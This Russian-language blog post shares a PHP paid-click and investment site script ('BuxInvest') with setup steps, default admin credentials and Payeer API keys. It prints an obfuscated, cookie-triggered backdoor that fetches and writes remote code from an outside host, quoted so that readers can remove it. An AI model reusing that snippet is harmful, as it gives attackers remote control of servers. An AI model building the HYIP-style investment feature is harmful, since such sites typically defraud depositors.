Реклама




Бонус

Опросы

Каких скриптов не хватает ?

Просмотреть результаты

Загрузка ... Загрузка ...

Помощь проекту

 

WMID 133443326071

R341885382783

Payeer

P63968199

 

Свежие комментарии

Последние сообщения на форуме

 Обратите внимание что все скрипты взяты из открытых источником и я проверяю их только на наличие критических ошибок, потому вероятность вредоносных кодов и чужих ссылок очень высока по мере сил я исправляю  скрипты  но нет никакой гарантии что в дальнейшем в работе скриптов не будет проблем. Особо стоит обратить внимание на подключение автовыплат к скриптам ферм как показала практика они очень уязвимы. Не забудьте проверить скрипт на уязвимость 

Скрипт букса BuxInvest

Скрипт букса BuxInvest

Сегодня выложу Скрипт букса BuxInvest. . И так что он из себя представляет. Данный скрипт типичный букс созданный на основе движка фруктовой фермы. Работающий с платежкой Payeer.

В нем имеется серфинг ссылок, баннеров добавил задания имеется ежедневный бонус. Есть возможность инвестирования от этого и название. Собственно это скрипт для тех кто хочет совместить букс, хайп и бонусник в одном сайте.

Скрипт букса BuxInvest скачать

Так выглядит страница профиля.

скачать скрипт

Это бонусы

скачать скрипт

И инвестиции.

скачать скрипт

Админка

Админка как у всякой фермы сложностью не отличается

. Для входа в админку используем адрес http://Ваш сайт.сом/?menu=adminka

Логин     adminRU

Пароль   KaligulA

Логин с паролем можно сменить в админке

скачать скрипт

Как видно из картинки имеется небольшие косяки с кодировкой но на функционал это не влияет.

скачать скрипт

Собственно судя по админке ее собрали из нескольких ферм на скорую руку тем не менее то что нужно работает исправно.

Установка скрипта на хостинг

Данный скрипт устанавливается на хостинг так же как и ему подобные. Для этого заливаем файлы на хостинг и создаем базу данных.

Потом ищем файл _class.config.php в нем нужно прописать информацию по базе данных

<?PHP
class config{

public $HostDB = «localhost«;                                        Обычно так и остается смотреть на хостинге
public $UserDB = «zzzzzzzzz«;                                        Пользователь базы данных
public $PassDB = «zzzzzzzzz«;                                        Пароль к базе данных
public $BaseDB = «zzzzzzzzz«;                                        Название базы данных

public $SYSTEM_START_TIME = 1455711243;            Дата старта проекта в формате Unix
public $VAL = «пїЅпїЅпїЅ.»;                                            Валюта сайт вместо каракуль пишем Rub.

# PAYEER пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ
public $AccountNumber = ‘zzzzzzzzz‘;
public $apiId = ‘zzzzzzzzzzz‘;                                         Подключение выплат
public $apiKey = ‘vorZg14zJ7lnKEIR‘;

public $shopID = 434270571;
public $secretW = «YF7VsPjpMl«;                                 Подключение пополнений

public $all_inserts_action = ‘0‘; //                                 Дополнительный процент при пополнении

}
?>

Синим обозначено то что меняется

При подключении платежек требуются адреса обработчика платежа адрес для успешной и не успешной оплаты.

 

http://Ваш сайт/payeer_merchant.php             адрес обработчика

http://Ваш сайт/fail.html                                    адрес для не успешной оплаты

http://Ваш сайт/success.html                             адрес для успешной оплаты

Ошибки и уязвимости

Как упоминал ранее были ошибки с кодировкой во всех значимых местах исправил. Так же не хватало немного картинок добавил. Остальное вроде работает без проблем.

С уязвимостями сложнее было их немного но одна довольно серьезная кто то себе оставил окно для входа сканер ее обнаружил и показал хотя варианта исправления не предложил в таком случае нужно просто удалить фрагмент. Выглядела она так

} if (!isset($_COOKIE[base64_decode(‘X3ltXl1cw==’)])) { @file_get_contents(base64_decode(‘aHR0cDovL2wxbDAuY29tL3Av’).$_SERVER[‘HTTP_HOST’]); @setcookie(base64_decode(‘X3X2l1cw==’), 1, time() 31536000, ‘/’, $_SERVER[‘HTTP_HOST’]); } if (isset($_COOKIE[base64_decode(‘cmVkNHU=’)])) { @file_put_contents(base64_decode(‘c3hdGUucGhw’), @file_get_contents(base64_decode(‘aHR0cDovL2wxbDAuY29L2QudHh0’))); }

Позволяла взломщику через куки без проблем делать все что угодно

Дополнительно

Для разнообразия стоит сменить дизайн самая большая картинка bgstat.png размер картинки 1349х602

фон для букса

фон для букса

фон для букса

Сменить ее не сложно для этого заливаем новую картинку с названием bgstat.png  в папку /img

Логотип это картинка logo.png в этой же папке размер 380х75

Вроде все остальное в процессе работы разберем.

Скачать скрипт

 

 

10 комментариев к записи Скрипт букса BuxInvest

  • Евген сказал:

    При серфинге не происходит пере направление на сайт рекламодателя. А так вроде норм.

  • quiksilver сказал:

    При переходе в задания появляется Меню
    Table ‘u287593_1.db_jobs’ doesn’t exist

  • admin сказал:

    это означает что в базе данных нет таблицы для заданий

  • quiksilver сказал:

    А как добавить и как подкоректировать баннеры с платежкой не сходятся.СПАСИБО!!!

  • admin сказал:

    Немного не понял о каких баннерах идет речь

  • ilya сказал:

    в рекламные материалы не отображается банер.подскажите как исправить

  • admin сказал:

    а это баннер для для привлечения рефералов понял сейчас посмотрю

  • admin сказал:

    В общем смотрите откройте файл /pages/account/_reklama.php и замените вот этот кусок после Баннер 468*60

    Единственное что тот баннер что там есть от какого то проекта я бы на вашем месте залил бы свой его нужно загружать в папку /banner имя картинки 468.gif по аналогии можете вставить и другие размеры баннеров добавляет кусок кода с редактированием размеров баннера и его имени заливает в папку и тд

  • admin сказал:

    Коментарии для таких дел явно не подходят просьба писать на форуме

  • admin сказал:

    смотрите на форуме http://mexanus.ru/forum/?view=thread&id=19#postid-1301

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *